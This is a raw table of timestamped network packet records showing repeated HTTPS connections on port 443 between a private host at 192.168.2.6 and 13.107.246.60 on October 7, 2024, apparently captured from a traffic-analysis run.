Oct 7, 2024 03:16:15.357363939 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.357489109 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.357506037 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.876905918 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.877408028 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.877445936 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.877846956 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.877857924 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.881165981 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.881902933 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.881966114 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.882302046 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.882317066 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.893285036 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.893845081 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.893888950 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.894305944 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.894319057 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.912460089 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.912822962 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.912844896 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.913315058 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.913320065 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.989866018 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.989954948 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.989978075 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.990004063 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.990106106 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.990164995 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.990184069 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.990200996 CEST	49746	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.990206957 CEST	443	49746	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.990205050 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.990274906 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.990276098 CEST	49747	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.990319014 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.990331888 CEST	443	49747	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.992324114 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.994112015 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.994133949 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.994539976 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.994539976 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.994581938 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.994610071 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.994765997 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.994874001 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.994882107 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.995407104 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.995440006 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.995594978 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.995652914 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:15.995659113 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:15.999969006 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.000242949 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.000375032 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.000403881 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.000420094 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.000430107 CEST	49745	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.000435114 CEST	443	49745	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.002296925 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.002387047 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.002480984 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.002608061 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.002635002 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.017246962 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.017338991 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.017503977 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.017693996 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.017693996 CEST	49748	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.017704010 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.017714024 CEST	443	49748	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.019743919 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.019777060 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.019830942 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.019943953 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.019958973 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.091873884 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.092035055 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.092091084 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.092161894 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.092176914 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.092206955 CEST	49749	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.092217922 CEST	443	49749	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.094141960 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.094158888 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.094419956 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.094553947 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.094569921 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.632299900 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.633070946 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.633090019 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.633452892 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.633456945 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.636738062 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.637221098 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.637239933 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.637605906 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.637625933 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.638258934 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.638564110 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.638614893 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.638864994 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.638879061 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.662137032 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.662422895 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.662503958 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.662791014 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.662806988 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.729300022 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.729672909 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.729697943 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.729991913 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.730057955 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.730073929 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.730084896 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.730119944 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.730365038 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.730365038 CEST	49751	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.730393887 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.730407000 CEST	443	49751	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.733057976 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.733128071 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.733222961 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.733376026 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.733407974 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.737431049 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.737576962 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.737643003 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.737688065 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.737688065 CEST	49752	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.737714052 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.737735987 CEST	443	49752	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.739633083 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.739691019 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.739763975 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.739880085 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.739898920 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.762048006 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.762136936 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.762212038 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.762329102 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.762330055 CEST	49753	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.762361050 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.762383938 CEST	443	49753	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.764326096 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.764349937 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.764425993 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.764549971 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.764560938 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.767595053 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.767735004 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.767956972 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.767956972 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.767956972 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.769613028 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.769622087 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.769689083 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.769809008 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.769819021 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.828145027 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.828234911 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.828289032 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.828439951 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.828453064 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.828470945 CEST	49754	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.828479052 CEST	443	49754	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.831619978 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.831710100 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:16.831973076 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.831973076 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:16.832051039 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.071041107 CEST	49750	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.071078062 CEST	443	49750	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.371947050 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.372534990 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.372554064 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.372900009 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.372905970 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.405670881 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.406219006 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.406280994 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.406513929 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.406528950 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.449443102 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.449870110 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.449884892 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.450134993 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.450143099 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.453500032 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.453823090 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.453831911 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.454227924 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.454233885 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.471544027 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.471626997 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.471689939 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.471931934 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.471931934 CEST	49756	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.471950054 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.471961021 CEST	443	49756	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.474320889 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.474345922 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.474420071 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.474549055 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.474580050 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.505317926 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.505784988 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.505798101 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.506226063 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.506232023 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.508488894 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.508647919 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.508716106 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.508848906 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.508897066 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.508925915 CEST	49755	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.508941889 CEST	443	49755	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.511302948 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.511348009 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.511423111 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.511703014 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.511720896 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.552449942 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.552648067 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.552716017 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.552936077 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.552936077 CEST	49757	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.552957058 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.552968025 CEST	443	49757	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.555757046 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.555793047 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.555857897 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.556020021 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.556032896 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.556955099 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.557099104 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.557163954 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.557199955 CEST	49758	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.557210922 CEST	443	49758	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.559730053 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.559756994 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.559828043 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.559950113 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.559966087 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.608057022 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.608216047 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.608283043 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.608313084 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.608330011 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.608340979 CEST	49759	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.608346939 CEST	443	49759	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.610312939 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.610409975 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:17.610506058 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.610605955 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:17.610626936 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.115258932 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.145272970 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.145284891 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.145881891 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.145888090 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.159955978 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.168304920 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.168327093 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.172414064 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.172422886 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.197982073 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.212830067 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.242252111 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.242355108 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.242566109 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.242892981 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.249710083 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.258546114 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.269385099 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.269478083 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.269542933 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.289788961 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.327090979 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.327126026 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.348889112 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.348921061 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.356251001 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.356260061 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.359170914 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.359178066 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.359313965 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.359323978 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.359338999 CEST	49761	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.359344959 CEST	443	49761	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.393125057 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.393136978 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.393553019 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.393559933 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.393726110 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.393743992 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.393776894 CEST	49760	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.393785954 CEST	443	49760	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.396682024 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.396728992 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.396905899 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.397134066 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.397150993 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.397756100 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.397778988 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.397844076 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.397952080 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.397974014 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.444575071 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.444720030 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.444792032 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.444967031 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.445008039 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.445036888 CEST	49764	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.445053101 CEST	443	49764	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.447699070 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.447742939 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.447830915 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.447930098 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.447948933 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.458878040 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.459053040 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.459156990 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.459199905 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.459223032 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.459242105 CEST	49762	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.459250927 CEST	443	49762	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.461416960 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.461453915 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.461543083 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.461832047 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.461846113 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.492207050 CEST	443	49763	13.107.246.60	192.168.2.6
